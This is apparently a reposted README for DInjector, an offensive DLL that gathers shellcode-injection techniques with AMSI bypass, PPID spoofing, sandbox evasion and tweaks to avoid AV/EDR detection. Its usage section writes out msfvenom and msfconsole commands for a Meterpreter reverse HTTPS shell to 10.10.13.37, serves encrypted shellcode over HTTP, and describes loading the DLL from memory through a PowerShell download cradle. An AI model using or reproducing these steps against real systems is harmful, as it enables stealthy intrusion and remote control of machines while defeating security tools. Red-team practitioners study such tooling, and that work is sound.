DInjector – Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL

December 10, 2021

This repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.

Features:

  • Fully ported to D/Invoke API
  • Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
  • Built-in AMSI bypass
  • PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
  • Sandbox detection & evasion

Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via Costura.Fody (or similar approaches), so I’ve shrinked it a bit and included from source to achieve better OpSec.

Usage

  1. Compile the project in VS.
  2. Generate a shellcode for your favourite C2:
~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin
  1. Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
  1. Serve the encrypted shellcode and prepare C2 listener:
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run"
  1. Use the PowerShell download cradle to load DInjector.dll as System.Reflection.Assembly and execute it from memory.

I do not recommend putting the assembly on disk because it will very likely be flagged.

Required global arguments:

Name Example Value Description
/am51 True, False Applies AMSI bypass
/sc http://10.10.13.37/enc Sets shellcode path (can be loaded from URL or as a Base64 string)
/password Passw0rd! Sets password to decrypt the shellcode

Modules

OpSec safe considerations are based on my personal usage expirience and some testings along the way.
